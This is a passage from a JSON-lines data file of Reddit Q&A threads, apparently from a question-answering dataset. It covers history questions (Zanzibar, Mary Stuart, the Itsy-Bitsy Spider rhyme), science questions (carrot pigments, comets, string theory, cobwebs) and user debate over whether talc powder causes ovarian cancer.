lacked the ability to talk or anything like that. I think I remember reading about one of them who was eventually rehabilitated and when asked about what life was like before, during those feral years, described it as living in the moment, not being able to think like we do now. I forget the details, but I think that's originally the closest we have to an answer. At least at this point in history. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.dailymail.co.uk/sciencetech/article-1228661/Insects-consciousness-able-count-claim-experts.html"], ["http://en.wikipedia.org/wiki/Mind%E2%80%93body_problem"], [], []]}
{"q_id": "1jlzvf", "title": "What was the United Kingdom's interest in acquiring Zanzibar?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1jlzvf/what_was_the_united_kingdoms_interest_in/", "answers": {"a_id": ["cd6vej8"], "score": [2], "text": ["To understand why Britain would want to control Zanzibar we need to jump back about 1000 years in history. Long before the Europeans are introduced to the Indian Ocean trade routes, South Asia, East Africa, and the Arabian Peninsula had enjoyed a thriving coastal economy. As far back as the first century the \"Periplus of the Erythraean Sea\" makes reference to  > Menouthias , the Greek name for Pemba and Unguja.^[1](_URL_1_) This document makes note of the impressive economic ties between Zanzibar's islands and the African Mainland and Arab Peninsula. \n\nIn 1592 century James Lancaster of the British navy refitted and stocked up in Zanzibar after the journey around the cape of good hope. While he was there he witnessed the constant flow of Indian trading vessels into the port, marking the length and interwoven nature of the Indian Ocean as a whole.^[2](_URL_0_)\n\nWhat I'm trying to get at here is that Zanzibar was geographically of vital importance to British trade in the Indian Ocean. It was a stepping stone into vast wealth that was South Asia. I can keep going if you want me to, but this question is pretty old and I'm not sure how much detail you want, and how indepth you need this information to be."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.zanzibar.cc/chronology.htm", "http://books.google.com/books?id=vpoN9PDYKC4C&amp;pg=PA97&amp;lpg=PA97&amp;dq=periplus+zanzibar+of+the+erythraean+sea&amp;source=bl&amp;ots=0p616HwVKl&amp;sig=cpKQzdrvislxjiIR9zgeygsz4Yg&amp;hl=en&amp;sa=X&amp;ei=9jR4UorqKO7gigLRoICgCA&amp;ved=0CEMQ6AEwAw#v=onepage&amp;q=periplus%20zanzibar%20of%20the%20erythraean%20sea&amp;f=false"]]}
{"q_id": "cvtfjm", "title": "can the amazonian rainforest be \u201cre-forested\u201d? g7 want to give money for reforestation plan", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cvtfjm/eli5_can_the_amazonian_rainforest_be_reforested/", "answers": {"a_id": ["ey6dpyr", "ey6dv7w", "ey6fh6x", "ey6ps2u"], "score": [8, 17, 7, 2], "text": ["They should first stop chopping down what's still left of it.\n\nIt can. If you let natural forests be, and don't chop 100 year old trees down, all can regenerate.\n\nRead 'the hidden life of trees', it will blow your mind.", "It is possible, but it\u2018s not that easy like reforesting somewhere in Europe or Northern America. The problem with the soil in rainforests is, that it can\u2018t hold minerals and nutrients very well. They are easily washed away if there are no plants that can hold them. Even worse if the ground was used for massive agriculture. If the ground has alreay lost its properties it takes a long time, but the rainforest can spread again. If you act quick and instantly after it burned down starting to replant natural flora you have quite a good chance to save as much as possible, as the burning leaves a really rich coat on the ground. (This is also why Bolsonaro would love to plant something else there, the yield would be awesome, but after 2-3 years there is nothing left and its time to burn down the next square kilometers)", "Yes and no - It can be done but it's not as simple as just going in and planting a bunch of trees and then forgetting about them an expecting the rainforest to magically regrow. It can be done - if you google rainforest regeneration programs you should be able to find plenty of examples of when it's been done successfully.\n\nNot all plants will be able to grow on deforested soil but some will - so you need to start by selecting plants that will grow and help improve soil conditions and then you can introduce more diversity and as you grow a canopy cover you can start introducing ground plants that require the shade of the canopy to grow.\n\nBut artificially regenerated forests are often because of this lacking in biodiversity - that is they don't have the range and spread of species you would find in a rainforest that has grown naturally over time. One particular challenge comes with the re-introduction of wildlife. Once an area has been deforested the animals that previously lived there will either die off or move to a different area and encouraging them to return can be challenging. Particularly because a lot of rainforest fruits require animals to help them spread their seeds and grow - without the animals the plants struggle to flourish but without the plants flourishing the animals aren't able to return.\n\nEdit to add: The other big issue at the moment is that it won't achieve much trying to regenerate the Amazon until something is done about the people cutting it down and/or setting fire to it.", "Aren't the fires part of a normal cycle for the rainforest? I heard there were worse fires in the 80s."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "10knzb", "title": "I boiled some carrots yesterday, saved the water, came back a few hours later and the water had turned blue. What happened? (pics inside)", "selftext": "[First image (you can see a chunk of carrot in there)](_URL_0_)\n\n[Second image (slightly better lighting)](_URL_1_)\n\nI boiled some carrots in tap water yesterday and saved the water to drink, since I understand most of the beneficial nutrients are leeched off in the boiling process. I drank some, forgot about it for a few hours and when I came back, the water was this blue-green color.\n\nCan anyone explain what happened here?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/10knzb/i_boiled_some_carrots_yesterday_saved_the_water/", "answers": {"a_id": ["c6eaazr", "c6ec0th", "c6ecekz", "c6ecff3", "c6edapb", "c6ef2hx", "c6el4i7"], "score": [23, 12, 141, 5, 16, 12, 5], "text": ["I had this happen to me many years ago and, though at the time I chalked it up to dark green from the carrot's green bits, got reminded of it and looked it up online actually fairly recently.\n\nThe best I could come up with was the answer to a similar question on a carrots in carrot cake turning green.\n\n-----\n\n[Why do carrot pieces turn green when cooked in a cake?](_URL_0_)\n\n*An analysis of why carrot pieces might turn green in a cake.*\n\n*As discussed by the Singapore Science Centre*", "Reminds me of how purple cabbage juice with anthocyanin pigment turns green when a base is added to it: _URL_1_ accompanying video: _URL_0_", "Carrots contain a pigment which can act as an indicator, much like red cabbage. Tap water is generally fairly basic, so unless you add lemon or some other acid to the pot, they'll nearly always change color. If the pot was really acidic, the water would change colors too, but it would end up being fairly red.", "_URL_0_\n\nThis deals with baking but it has some useful information.  Here is the part I think probably applies,\n\n*\"Carrots contain pigments that are sensitive to changes in pH balance. When the shreds of carrot come into contact with the alkaline baking soda, a chemical reaction takes place that causes the pigments to change color.\"*\n\nIf you just used tap water to cook the carrots, maybe you have hard water.  Perhaps it was the pan you cooked it in.  Some pans are reactive with certain foods.\n\nHope this helps.", "Slightly on topic to OP:\n\nIs there any study/evidence that demonstrates a benefit to drinking the water which was used to boil vegetables?\n", "Many anthocyanins (some of which carrots contain) are also polyphenols and as such they may oxidate on contact with air, especially if there's polyphenol oxydase or catechol oxydase present. My theory is that their oxidated forms may react with reduced forms producing charge transfer complexes, which are usually colorful. Such a process causes the browning of apples, potatoes and bananas.\n\nI find the acid-base reaction hypothesis less plausible, as they are usually very fast and the effect would be visible immediately on contact with basic water. On the other hand redox reactions are often much slower and it might take some time before the effect is visible.", "This is really interesting, I'm not sure if I can figure out what is causing this. Probably need to do some experiments.\n\nBoiling water will help extract water-soluble pigments from the carrots. I think these are anthocyanins. But what is puzzling is the colour change over a course of a few hours.\n\nSome answers are suggesting that the pH in your tap water is high to begin with, so the carrot water changes colour. But if this were the case, dipping carrots in ammonia will turn them green -- not that I've tried this, but I'm pretty sure this does not happen. If it really did happen, I think we would have more kids doing chemistry experiments with carrots instead of boiling red cabbage to make indicator paper! In other words, if the carrots are responding to a high pH, it should be instantaneous, and not take place over the course of a few hours.\n\nThis points to another mechanism for the colour change. Suppose the chemical structure of those carrot pigments slowly changed over time. Say, they get oxidized. What would its structure be? I wasn't able to find anything on this. Maybe some other compound in the carrots helps this reaction along. But what might this be? I am skeptical of this mechanism because the boiling might have broken down these chemicals already.\n\nSo now, we turn to something else. What if, it's a reaction that involves some ions that result from the tap water and the boiling pot? Maybe these ions get incorporated into those pigments. But I'm not sure about this either. That's an awfully intense green colour you've got there. I can think of some ions that will do this, but I doubt they will be in the water.\n\nBottom line -- not sure of the reason. I'd like to see this repeated actually.\n\nOne piece of information that might be helpful is knowing the pH of the tap water. Try boiling chopped up red cabbage and see what colour it is. That will give us a rough estimate of what the pH is. We'll be able to compare with this picture on Wikipedia: [link](_URL_0_)."]}, "title_urls": [], "selftext_urls": ["http://imgur.com/duOP9,1DV1y#0", "http://imgur.com/duOP9,1DV1y#1"], "answers_urls": [["http://www.carrotmuseum.co.uk/turngreen.html"], ["http://www.youtube.com/watch?v=PYYowXOEZZE", "http://www.stevespanglerscience.com/experiment/red-cabbage-chemistry"], [], ["http://www.thekitchn.com/food-science-when-good-carrots-52210"], [], [], ["http://en.wikipedia.org/wiki/File:Indicateur_chou_rouge.jpg"]]}
{"q_id": "2mao8v", "title": "Status of Whipple's \"Dirty Snowball\" theory of comets?", "selftext": "I'm just wondering what the evidence from Hirabashi and Rosetta / Philae are suggesting - do they led credence to Whipple's \"Dirty Snowball\" theory?\n  \nI haven't heard much about the expected or observed composition of 67P/Churyumov-Gerasimenko.\n  \nSo basically I'm just asking what's the current status of Whipple's theory - supported by the evidence or no? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2mao8v/status_of_whipples_dirty_snowball_theory_of_comets/", "answers": {"a_id": ["cm2fov3"], "score": [9], "text": ["Annnd right after I posted this I found this:\n  \nSensing its gravitational tug, Rosetta has measured Comet 67P to have a mass of roughly 10 billion tonnes, or 10 trillion kilograms\nThe published volume is 25 cubic kilometres, which gives it a bulk density of 400kg per cubic metre - **similar to some woods**  (from [here](_URL_0_)).\n  \nThat doesn't sound particularly dense.  A solid rock that size would be multiple tons."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.bbc.com/news/science-environment-29525157"]]}
{"q_id": "84a52c", "title": "Why didn't Mary Stuart marry Charles IX?", "selftext": "Why did Charles IX not marry Mary after his brother's death? If the  marriage was advantageous for France when Francis was king, would it not be for Charles as well? She was Queen of Scotland with a claim to the English throne, as well as being his brother's widow -- both seem legitimate reasons to marry her. Some sources I've seen question whether Mary and Francis even consummated their marriage, so it seems like lack of virginity wasn't the issue. I've done some reading and can't find anything to indicate this match was even discussed. Does anyone know why?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/84a52c/why_didnt_mary_stuart_marry_charles_ix/", "answers": {"a_id": ["dvohbu7"], "score": [2], "text": ["Charles IX inherited the throne when he nine and so a regency was put in place. His regent was his mother, Catherine de Medici. By all accounts Catherine disliked Mary and soon after Francis II's death made Mary return home to her native Scotland.\n\nCatherine likely didn't like Mary due to her Guise heritage. The House of Guise were a powerful French family that had claims to the French throne. Mary Stuart's mother was Mary Guise and her uncles were leaders of the Catholic League which sought to persecute French Huguenots. This was in direct opposition to Catherine de Medici's somewhat more tolerant policy.\n\nConsidering the Guise influence already in France and their policies of persecution fanning the flames of religious war in France, it would have been unwise to increase Guise influence in France by marrying an eighteen year old Mary Stuart, the daughter of a Guise, to the child King of France. This would have given the Guise's absolute influence on the French Crown and reducing Catherine's own influence as the current regent and left her vulnerable.\n\nBesides this, in the absence of their monarch, by 1560, Scotland had seen the Reformation take hold and the 1560 Treaty of Edinburgh had basically seen Scotland switch from a pro-French stance to a pro-English one. This effectively ended the anti-English Auld Alliance between Scotland and France, raising the question of how useful a marriage alliance with Scotland was to France - history would show not very as the circumstance in Scotland (as well as poor choice on Mary's part) would mean Mary wasn't Queen of Scots for long after her return."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "b8b5ht", "title": "what is an internet sequencing machine?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b8b5ht/eli5_what_is_an_internet_sequencing_machine/", "answers": {"a_id": ["ejwzef8"], "score": [4], "text": ["It's Reddit's thing for 1Apr.\n\nCheck [here](_URL_0_) for all the details."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/sequence_meta/comments/b897av/how_sequence_works_read_this/"]]}
{"q_id": "g1vbpv", "title": "The Itsy-bitsy spider", "selftext": "Okay, I know this one is going to be a weird question if the title and NSFW tag didn't already hint at that. \n\n\nBetween July 1879 and December 1880, there was a magazine published in London called *The Pearl* which included erotic stories, jokes, limericks, and nursery rhymes, which I stumbled upon while looking for an origin for the \"there once was a man from Nantucket\" limerick (which, side note, the magazine published dozens of these humorous little rhymes about men from all different places). While going through the nursery rhyme sections, I ran across this one in volume 6 published in December 1879:\n\n\n\"A sailor on board the Duke of Edinburgh's yacht had a reputation as an impromptu poet. The following was one of his efforts before the Duchess: \n\nHe was a bloody sparrow.\nLived up a bloody spout;\nThere came a bloody thunderstorm.\nAnd washed the bugger out.\n\nBut in a bloody minute,\nThey stopped the bloody rain;\nSo the bloody little sparrow.\nWent up the spout again. \n\nAfter which, he said: \"I don't think much of it myself, marm, but my mates say it's bloody fine.\" \"\n\n\n\nThe dirty little nursery rhyme is clearly similar to the itsy bitsy spider climbing up the water spout, being washed out by a storm, the rain stops, and up it goes again.\n\n\nSo, I tried looking up the origins of the itsy-bitsy spider, but the earliest I can find a reference to it is in 1910, which is 31 years after this version in *The Pearl* was published.\n\n\nSo I'm wondering if anyone knows of an earlier reference to the spider, or could it be that the innocent song we teach to children derived from a dirty joke?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/g1vbpv/the_itsybitsy_spider/", "answers": {"a_id": ["fnjnxgj"], "score": [134], "text": ["Just to add to the OP's question, the publication in 1910 is  *Camp and Camino in Lower California* and the version of the song that appears in there is:\n\n`\"Oh, the blooming, bloody spider went up the water spout,`\n\n`The blooming, bloody rain came down and washed the`\n\n`spider out,`\n\n`The blooming, bloody sun came out and dried up all the`\n\n`rain,`\n\n`And the blooming, bloody spider came up the spout again\"`\n\n[_URL_0_](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://archive.org/stream/campandcaminoin00nortgoog?ref=ol#page/n333/mode/2up/search/Spider+Song"]]}
{"q_id": "12huzd", "title": "how are cobwebs formed?", "selftext": "Are they from spiders? If not how do they form in uncleaned old areas?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/12huzd/eli5_how_are_cobwebs_formed/", "answers": {"a_id": ["c6v6qbh", "c6v7wa3"], "score": [7, 3], "text": ["Cobwebs are made by spiders in a specific family called the Theridiidae. They make sticky silk which is why you see them gathering dust. ", "This actually sounds like a question from a five year old."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "39ny58", "title": "Why does string theory treat time as a separate dimension?", "selftext": "I thought time and space were interwoven into spacetime, where both space and time were relative, and can be bent/stretched. \n\nBut every time I read about string theory, I keep reading that there are 3 observable spatial dimensions, 1 time dimension, then 7 very tiny spatial dimensions that we cannot see. \n\nBut why is time separate? I thought Einstein proved time and space were combined. Does time need to be separate for string theory to work?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/39ny58/why_does_string_theory_treat_time_as_a_separate/", "answers": {"a_id": ["cs509j2"], "score": [79], "text": ["Even in relativity, time is different -- in ordinary relativity there are 3 spatial dimensions and 1 time dimension.  This shows up in the way you calculate distances in spacetime.  Whereas in ordinary space, you calculate distances by\n\n        d^(2) = (x_2 - x_1)^2 + (y_2 - y_1)^2 + (z_2 - z_1)^2\n\nin relativity, we have an interval in spacetime defined by \n\n        s^(2) = -(t_2-t_1)^2 + (x_2 - x_1)^2 + (y_2 - y_1)^2 + (z_2 - z_1)^2\n\nNotice the minus sign in front of the time term, the opposite sign from what you find for the x, y, z terms.\nThis opposite sign is what makes time different.\n\nSo in relativity, we  have 3 spatial dimensions and 1 time dimension.  In string theory, there are additional tiny spatial dimensions.\n\nRelativity does tell us that space and time mix together into spacetime.  In special relativity, two different observers will measure the same value for the spacetime interval s^(2) defined above, but how much of that comes from the spatial part and how much from the time part will differ.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6vbdts", "title": "what is it about johnson  &  johnson's baby powder that could cause ovarian cancer?", "selftext": "Considering the decision today that J & J has to pay a massive fine to claimants regarding their baby powder reportedly causing ovarian cancer, I'm unsure about the science behind the claim.\n\nWhat's in talc powder that could be risky? Are the same risks concerning men who use the powder to dry their groin area? \n\nThanks!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6vbdts/eli5_what_is_it_about_johnson_johnsons_baby/", "answers": {"a_id": ["dlywg0x", "dlz0028", "dlz08t2", "dlz0ffz", "dlz0ods", "dlz1acm", "dlz1klu", "dlz4aec", "dlz5dla", "dlz63m0", "dlz7ee7", "dlz7lnk", "dlzdn4p", "dlzjcfe", "dlzk88o", "dlzksra", "dlzrhts", "dlzwgau", "dlzyh8o", "dlzzyfu", "dm02e2x", "dm02g1v"], "score": [166, 61, 4, 51, 364, 11482, 7, 13, 40, 31, 314, 4, 8, 2, 5, 3, 9, 11, 2, 4, 5, 10], "text": ["I'd just like to add to your question, if that's okay... \nIf the lady won the lawsuit saying the talcum powder caused cancer, that must mean that there is substantial evidence supporting the claim that talcum powder causes ovarian cancer, right? Why is it still on shelves?", "Unrefined talc contains asbestos which is carcinogenic.\n\nThey allegedly removed the asbestos decades ago, but a number of studies found various different results concluding that it probably was still carcinogenic.\n\nThere were some studies done a few years ago about Aluminium in deodorant causing breast cancer, so it's possible that something similar happens with talc with other metals.\n\nThe long and short of it is, no one really knows if it's safe or not as depending on the study the results aren't conclusive enough.", "There doesn't need to be any science behind it. You just have to convince a jury of average intelligence, including an average science background, that there is a link. ", "Not an expert, but did some googling.\n\nSo talc can absorb moisture, smooth or soften powders, prevent caking, and make makeup opaque. Which is why it's used in the insides of rubber gloves, as lubrication, and most commonly in makeup and cosmetics. As you know, it can be found in baby powder, as well as shower products, lotions, feminine hygiene products, eyeshadow, foundation, lipstick, deodorants, and face masks.\n\nAs for cancer, the International Agency for Research on Cancer lists talc as containing carcinogenic materials, while perineal use (use on private parts) is possibly carcinogenic. It IS linked to endometrial and ovarian cancer, and applying it to private parts causes it to enter the body and reach organs. Talc exposure is also associated with mesothelioma (tumor of tissue lining organs such as lungs, stomach, and heart), as well as lung cancer.\n\nTalc can also cause lung burden, and inhaling it can interfere with your lungs and potentially lead to cancer. Even inhaling small amounts of talc can cause difficulty in breathing, an allergic reaction, and bronchitis.\n\nAs far as I can tell, there are no link of testicular cancer. Also, before you start panicking, read the labels on your products, there is a chance that it doesn't even contain talc.\n\nInteresting fact: talc is restricted in the EU.\n\nTL;DR - you're pretty safe if you don't have ovaries and aren't inhaling it.\n\nSources: _URL_0_", "I am not extensively familiar with this particular court case, but be weary of results from lawsuits. Civil cases are decided by the jury or the judge based on the arguments they hear in the courtroom, which can result in ridiculous conclusions. Court cases [have \"ruled\" that vaccines cause autism](_URL_2_), decided on [the cause of a plane crash and who was at fault](_URL_1_) many years after the [actual investigation and report drew a completely different conclusion](_URL_0_), and countless other settlements that contradicted actual facts. The point is that the ruling of the talc powder case, whether or not it is correct, is not a scientific conclusion.", "Scientist here. The science behind this talc powder cancer claim is somewhat nebulous. \n\nA long time ago, talc contained some asbestos. Asbestos is bad because it causes cancer. If talc is highly refined in modern facilities, it *should* contain no asbestos.\n\nThere have been a few articles that show a minimal correlation but essentially the numbers simply don't really show much either way.\n\nIIRC, one of the claims is that J & J did not mark their product \"For External Use Only\". Talc is fine for external use, but you should not inhale, eat, breathe, or insert it. Some people use talc too much, and put it too close to their body openings where it could potentially go inside. It's bad to put anything inside your body that doesn't really belong.\n\nEven if the talc powder used is pure talc and doesn't have any asbestos, it could be an irritant to the special skin inside your body (epithelium). That's because under a microscope, talc is made of very sharp crystals of rock. The jury is still out if this causes cancer or not. That said, it's probably best to avoid it and not put it inside your body.\n\nTalc has been used for such a long time that it is not considered a drug by the US government - it's a cosmetic. Cosmetics do not need to be tested and approved by the FDA the same way that drugs are.\n\nSo anyhow, whether you are a lady or a guy or someone in between, you can use talc on your outside parts but don't put it inside you.\n\nEdit 1: Typo correction.", "Baby powder is no longer made with talc I believe starch is used now. Johnson and Johnson has a baby friendly line.", "ELI5 answer:\n\nCancer is often caused by persistent inflammation. Inflamed cells can go genetically haywire and become cancerous. \n\nAn example is how heavy drinkers can get stomach, intestinal or liver cancer. The alcohol inflames the cells in these organs and can cause cancer. Another example is how smoking can cause lung cancer. Or how the sun can cause skin cancer. \n\nSimply speaking, if talc powder causes ovarian cancer, then it is likely somehow inflaming the ovaries. Whether through direct or indirect contact. ", "Also, prolonged use of Talcum powder in confined spaces can cause a condition called pulmonary talcosis.  It's related to silicoss in which finely ground pieces of rock get into your lungs and cause inflammation. My mom used to use a lot of talc powder until my aunt (is an MD) told her about this.  Lifted from Wikipedia\n\nChronic simple silicosis\n\nUsually resulting from long-term exposure (10 years or more) to relatively low concentrations of silica dust and usually appearing 10\u201330 years after first exposure.[8] This is the most common type of silicosis. Patients with this type of silicosis, especially early on, may not have obvious signs or symptoms of disease, but abnormalities may be detected by x-ray. Chronic cough and exertional dyspnea (shortness of breath) are common findings. Radiographically, chronic simple silicosis reveals a profusion of small ( < 10 mm in diameter) opacities, typically rounded, and predominating in the upper lung zones.\n\nAccelerated silicosis\n\nSilicosis that develops 5\u201310 years after first exposure to higher concentrations of silica dust. Symptoms and x-ray findings are similar to chronic simple silicosis, but occur earlier and tend to progress more rapidly. Patients with accelerated silicosis are at greater risk for complicated disease, including progressive massive fibrosis (PMF).\n\nComplicated silicosis\n\nSilicosis can become \"complicated\" by the development of severe scarring (progressive massive fibrosis, or also known as conglomerate silicosis), where the small nodules gradually become confluent, reaching a size of 1 cm or greater. PMF is associated with more severe symptoms and respiratory impairment than simple disease. Silicosis can also be complicated by other lung disease, such as tuberculosis, non-tuberculous mycobacterial infection, and fungal infection, certain autoimmune diseases, and lung cancer. Complicated silicosis is more common with accelerated silicosis than with the chronic variety.\n\nAcute silicosis\n\nSilicosis that develops a few weeks to 5 years after exposure to high concentrations of respirable silica dust. This is also known as silicoproteinosis. Symptoms of acute silicosis include more rapid onset of severe disabling shortness of breath, cough, weakness, and weight loss, often leading to death. The x-ray usually reveals a diffuse alveolar filling with air bronchograms, described as a ground-glass appearance, and similar to pneumonia, pulmonary edema, alveolar hemorrhage, and alveolar cell lung cancer.", "J & J used to run ad campaigns telling women to use talc every day on their genitals to stay fresh.  Women used it liberally (in some cases all the way from birth through womenhood) and talc has been found (at least in one case) in an ovary.", "Talc hasn't contained asbestos since 1970.  There are a number of larger, newer studies that have come out since the WHO-sponsored report issued in 2010 (with older data) that suggested it is possible that talc is carcinogenic.  It isn't.  The largest study in over 60K subjects found the following:\n\n J Natl Cancer Inst. 2014 Sep 10;106(9). pii: dju208. doi: 10.1093/jnci/dju208. Print 2014 Sep.\n\n\"Conclusions: Among 61576 postmenopausal women, followed for a mean of 12.4 years without a history of cancer or bilateral oophorectomy, 52.6% reported ever using perineal powder. Ever use of perineal powder (hazard ratio [HR]adj = 1.06, 95% confidence interval [CI] = 0.87 to 1.28) was not associated with risk of ovarian cancer compared with never use. Individually, ever use of powder on the genitals (HRadj = 1.12, 95% CI = 0.92 to 1.36), sanitary napkins (HRadj = 0.95, 95% CI = 0.76 to 1.20), or diaphragms (HRadj = 0.92, 95% CI = 0.68 to 1.23) was not associated with risk of ovarian cancer compared with never use, nor were there associations with increasing durations of use. Estimates did not differ when stratified by age or tubal ligation status. \n\n Based on our results, perineal powder use does not appear to influence ovarian cancer risk.\"\n\nFOR the ELI5 version just read the last sentence. Note that there were also no associations with increasing duration of use.  \n\n\nNumerous other recent studies have reached the same conclusion.  This trial was based upon flawed data and analysis.  \n\nTo answer the original question is the following, which concludes that there isn't even a mechanism by which talc might cause cancer. \n\nEur J Cancer Prev. 2008 Apr;17(2):139-46. doi: 10.1097/CEJ.0b013e32811080ef.\nConclusions: \"... In this review article, we discuss the chemical and morphological features of talc and asbestos, and explain why despite their similar chemical classification talc does not possess asbestos-like carcinogenic properties ... In addition, the therapeutic use of high dose cosmetic grade talc for pleurodesis has not been shown to cause cancer in patients receiving these treatment modalities. Talc is not genotoxic. Mechanistic, pathology and animal model studies have not found evidence for a carcinogenic effect. In summary, these data collectively do not indicate that cosmetic talc causes ovarian cancer.\"\n\nI am no fan of big pharma, but this case is marginal.  When large penalties are assessed based upon old incorrect science it does everyone a disservice because it now sets up the \"slippery slope\" argument for the quality of evidence to be used in a court. This is doubly true in jury trials where a glib, articulate lawyer can convince scientifically illiterate juries that there is more certainty than not.  Large penalties should be reserved for cases where there is very strong science like with cigarettes and lung cancer or asbestos and lung cancer.  ", "* if you use massive amounts of any product in an improper way, you can get some sort of illness\n* if you get sick and happen to use some product, an ignorant but sympathetic jury will often award you money even if their is no connection", "I think this is simple. Talc is nano powder of rock that can cut into tissue and trigger the body to make a mass around it. This usually is benign, but can become cancerous. Johnson and Johnson did not make a warning that their nano particles can cause cancer if put inside the body. So well done. If you think your product does bad things, fix it, warn people or stop producing it. Simple.", "Talc is mined near asbestos. So one of the theories is that talc gets contaminated with asbestos, which is a carcinogen. \n\nWhen it is used in the genital area, the particles migrate up the vagina into the ovaries.\n\nThere are a lot of conflicting studies in the subject (I write about this sort of thing for a living) so there is no definitive answer as to whether or not genital use of talcum powder causes ovarian cancer. That said, I wouldn't use it for that purpose.", "This is not a satisfactory answer and while you may have looked over a paper or two debating whether or not there is a statistical correlation between the use of baby powder and cancer, you fail to explain the basics of what is happening. Both talc and asbestos are chemically inert for all practical purposes here, they do not have dangerous chemical reactions. What they do have are dangerous physical forms, this is particularly the case with asbestos which forms in very sharp hairlike needles and tends to break into a fine dust that can be easily inhaled. Talc in baby powder form is also a fine powder that can be easily inhaled and contains sharp particles but talc crystals form in a sheetlike pattern. These are both chemically inert silicates that the body can not metabolize and almost any silicate can cause silicosis (and associated cancers) when enough is inhaled. There is a long history of underestimating the dangers of silicates and it is likely that there have not been enough studies into talc's effect on mucus membranes and the skin. Also industry has a long history of trying to hide information on inhalation hazards associated with silicates. With that being said talc might be a fairly safe form because of the sheetlike crystals and might not be damaging enough to cause a large number of problems,it seems to be more of an issue with people who work with larger quantities of it on a daily basis. _URL_0_ It seems to me that it would be fairly simple to replace this substance for most uses because of these potential hazards.", "What is talc actually for? Is it used as a kind of deodorant?", "I worked for Johnson and Johnson before. From what I understand from the internal emails this woman applied it to her vagina 7-10 times a day for decades. I don't know if anything should be used that much.", "Just want to point out: the payment is for a civil suit filed by just one person. Not a class action suit. There is no way J & J will not appeal this judgment down to a more reasonable amount. Most likely they will appeal endlessly and finally settle for an undisclosed amount out-of-court. Otherwise they will face endless new lawsuits, and class action suits, at which point they might as well just spin off the talc division and declare bankruptcy. They are not going to pay nearly half a billion for one person maybe getting cancer.\n\n", "I don't know if dusting your privates and the crevase of your breasts and underneath, much like men's taint and hanging testes is the problem?  I keep hearing-don't use it internally. Can anyone explain the difference? Seems ambiguous to me and no clear medical explanation. ", "Let me pose a question to you. What kind of company sees correlation between use of talc and ovarian cancer and decides not to warn people?  \n\nWhen the talc is shipped to the USA from China a warning label is included by China warning of the cancer risks.  J & J removed this label and advertised their products despite knowing the potential risks.  For example: In pharmaceutical studies for drugs, all possible side effects must be acknowledged and warnings are given. If a company knows that its product will be used in a way that could be absorbed into the body, it has a duty to warn of any potential issues arising in this. \n\nThe many many women in this case have been using talc for years without knowledge of the risks associated with it. The talc has been absorbed up into the ovaries over time and they became cancerous. J & J failed to warn of the potential dangers of this usage. \n\n Thousands of women and the families of these women have come forward saying they developed cancer after continued usage. Many women have died. The statutes of limitations have passed in 95% of these cases and the others are in the process of being investigated and litigated.  \n\nIMO it is along the lines of the lack of responsibility of GM for their ignition switch coverup resulting in the deaths of hundreds. This kind of negligence is irrefutable to the public and these companies need to be held accountable for their actions. ", "I studied environmental health in the 1970s.  There was already significant concerns about talc and cancer.  Talc was identified as the factor that caused high rates of stomach cancer in Japan where it was used to reduce clumping.  In America this wasn't done and stomach cancer in the  Japanese population was much lower.  \n\nCornstarch was a cheap safe alternative and recommended especially for baby powder.  Cosmetics have incredible exemptions for safety that allow toxins to be used with virtual impunity.", "This answer is geared towards explaining the verdict and not so much the talc science. If you really have an interest in understanding the verdict,  don't listen to most of these comments. \n\nThe simple truths that have swayed 4 different juries to award massive judgments are: 1) J & J knew off the cancer connection for decades and hid them, 2) the cancer is very specific ovarian cancer and talc particles have been found in the cancer cells, 3) J & J marketed to poor southern communities after learning of the cancer links,  4) J & Js internal documents expose  some of the above very persuasively, and 5) the science is clearer and more convincing than commenters here represent.  \n\nLook at trial transcripts and exhibits for yourself to confirm these facts.\n\nAs an additional point but not evidence in most of the trials,  talc has been banned in Europe and other countries for some time."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.safecosmetics.org/get-the-facts/chemicals-of-concern/talc/"], ["http://aviation-safety.net/pubs/other/Taylor_paper_Ustica_illustrated.pdf", "http://nationalpost.com/news/abundantly-clear-stray-missile-shot-down-1980-italian-jet-killing-81-court-rules/wcm/a6549807-a096-4991-b82a-857094203757", "https://www.forbes.com/sites/emilywillingham/2013/08/09/court-rulings-dont-confirm-autism-vaccine-link/#6d4ac6ba2c88"], [], [], [], [], [], [], [], [], [], ["https://www.sciencedaily.com/releases/2015/09/150928082149.htm"], [], [], [], [], [], [], []]}
